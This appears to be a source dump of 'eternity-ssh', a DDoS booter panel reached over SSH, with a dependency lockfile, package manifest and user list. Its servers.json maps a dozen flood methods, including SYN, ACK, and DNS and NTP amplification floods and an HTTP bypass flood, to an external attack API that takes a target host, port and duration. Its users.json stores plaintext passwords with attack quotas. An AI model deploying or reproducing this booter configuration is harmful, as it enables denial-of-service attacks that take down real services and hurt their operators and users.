4036 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
4037 | "requires": {
4038 | "ansi-regex": "^5.0.1"
4039 | }
4040 | }
4041 | }
4042 | },
4043 | "wrap-ansi": {
4044 | "version": "7.0.0",
4045 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
4046 | "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
4047 | "requires": {
4048 | "ansi-styles": "^4.0.0",
4049 | "string-width": "^4.1.0",
4050 | "strip-ansi": "^6.0.0"
4051 | },
4052 | "dependencies": {
4053 | "ansi-regex": {
4054 | "version": "5.0.1",
4055 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
4056 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
4057 | },
4058 | "is-fullwidth-code-point": {
4059 | "version": "3.0.0",
4060 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
4061 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
4062 | },
4063 | "string-width": {
4064 | "version": "4.2.3",
4065 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
4066 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
4067 | "requires": {
4068 | "emoji-regex": "^8.0.0",
4069 | "is-fullwidth-code-point": "^3.0.0",
4070 | "strip-ansi": "^6.0.1"
4071 | }
4072 | },
4073 | "strip-ansi": {
4074 | "version": "6.0.1",
4075 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
4076 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
4077 | "requires": {
4078 | "ansi-regex": "^5.0.1"
4079 | }
4080 | }
4081 | }
4082 | },
4083 | "wrappy": {
4084 | "version": "1.0.2",
4085 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
4086 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
4087 | },
4088 | "write-file-atomic": {
4089 | "version": "3.0.3",
4090 | "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
4091 | "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
4092 | "requires": {
4093 | "imurmurhash": "^0.1.4",
4094 | "is-typedarray": "^1.0.0",
4095 | "signal-exit": "^3.0.2",
4096 | "typedarray-to-buffer": "^3.1.5"
4097 | }
4098 | },
4099 | "xdg-basedir": {
4100 | "version": "4.0.0",
4101 | "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz",
4102 | "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q=="
4103 | },
4104 | "y18n": {
4105 | "version": "5.0.8",
4106 | "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
4107 | "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="
4108 | },
4109 | "yallist": {
4110 | "version": "4.0.0",
4111 | "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
4112 | "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
4113 | },
4114 | "yargs": {
4115 | "version": "16.2.0",
4116 | "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
4117 | "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
4118 | "requires": {
4119 | "cliui": "^7.0.2",
4120 | "escalade": "^3.1.1",
4121 | "get-caller-file": "^2.0.5",
4122 | "require-directory": "^2.1.1",
4123 | "string-width": "^4.2.0",
4124 | "y18n": "^5.0.5",
4125 | "yargs-parser": "^20.2.2"
4126 | },
4127 | "dependencies": {
4128 | "ansi-regex": {
4129 | "version": "5.0.1",
4130 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
4131 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
4132 | },
4133 | "is-fullwidth-code-point": {
4134 | "version": "3.0.0",
4135 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
4136 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
4137 | },
4138 | "string-width": {
4139 | "version": "4.2.3",
4140 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
4141 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
4142 | "requires": {
4143 | "emoji-regex": "^8.0.0",
4144 | "is-fullwidth-code-point": "^3.0.0",
4145 | "strip-ansi": "^6.0.1"
4146 | }
4147 | },
4148 | "strip-ansi": {
4149 | "version": "6.0.1",
4150 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
4151 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
4152 | "requires": {
4153 | "ansi-regex": "^5.0.1"
4154 | }
4155 | }
4156 | }
4157 | },
4158 | "yargs-parser": {
4159 | "version": "20.2.9",
4160 | "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
4161 | "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w=="
4162 | }
4163 | }
4164 | }
4165 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "eternity-ssh",
3 | "version": "1.0.0",
4 | "description": "EternityNetwork SSH Server.",
5 | "main": "index.js",
6 | "author": "KingSK",
7 | "private": true,
8 | "dependencies": {
9 | "argon2": "^0.28.2",
10 | "axios": "^0.24.0",
11 | "bcrypt": "^5.0.1",
12 | "concurrently": "^6.4.0",
13 | "esm": "^3.2.25",
14 | "fs": "^0.0.1-security",
15 | "mongodb": "^4.2.1",
16 | "mongoose": "^6.0.13",
17 | "nodemon": "^2.0.15",
18 | "path": "^0.12.7",
19 | "settings": "^0.1.1",
20 | "ssh-keygen": "^0.5.0",
21 | "ssh2": "^1.5.0"
22 | },
23 | "scripts": {
24 | "start": "node -r esm index.js",
25 | "dev": "nodemon -r esm index.js"
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/servers.json:
--------------------------------------------------------------------------------
1 | {
2 | "pps": {
3 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=UDPPPS",
4 | "description": "UDP PPS flood"
5 | },
6 | "syn": {
7 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=TCPSYN",
8 | "description": "TCP SYN flood"
9 | },
10 | "ack": {
11 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=TCPACK",
12 | "description": "TCP ACK flood"
13 | },
14 | "tfo": {
15 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=TCPTFO",
16 | "description": "TCP TFO flood"
17 | },
18 | "mbx": {
19 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=TCPMB",
20 | "description": "TCP Middlebox amplification flood"
21 | },
22 | "dns": {
23 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=DNS",
24 | "description": "DNS amplification flood"
25 | },
26 | "ntp": {
27 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=NTP",
28 | "description": "NTP amplification flood"
29 | },
30 | "ard": {
31 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=ARD",
32 | "description": "ARD amplification flood"
33 | },
34 | "wsd": {
35 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=WSD",
36 | "description": "WSD amplification flood"
37 | },
38 | "dvr": {
39 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=DVR",
40 | "description": "DVR amplification flood"
41 | },
42 | "sadp": {
43 | "api": "https://attacks.serverdown.cc/network/layer4?host=$host&port=$port&time=$time&method=SADP",
44 | "description": "SADP amplification flood"
45 | },
46 | "httpbypass": {
47 | "api": "https://attacks.serverdown.cc/network/layer7?target=$host&connections=10&threads=20&duration=$time",
48 | "description": "HTTP Bypass flood"
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/users.json:
--------------------------------------------------------------------------------
1 | {
2 | "users": [
3 | {
4 | "username": "forky",
5 | "password": "safepass",
6 | "concurrents": 1,
7 | "max_boot": 300,
8 | "attacks": []
9 | },
10 | {
11 | "username": "user2",
12 | "password": "password2",
13 | "concurrents": 10,
14 | "max_boot": 600,
15 | "attacks": []
16 | }
17 | ]
18 | }
--------------------------------------------------------------------------------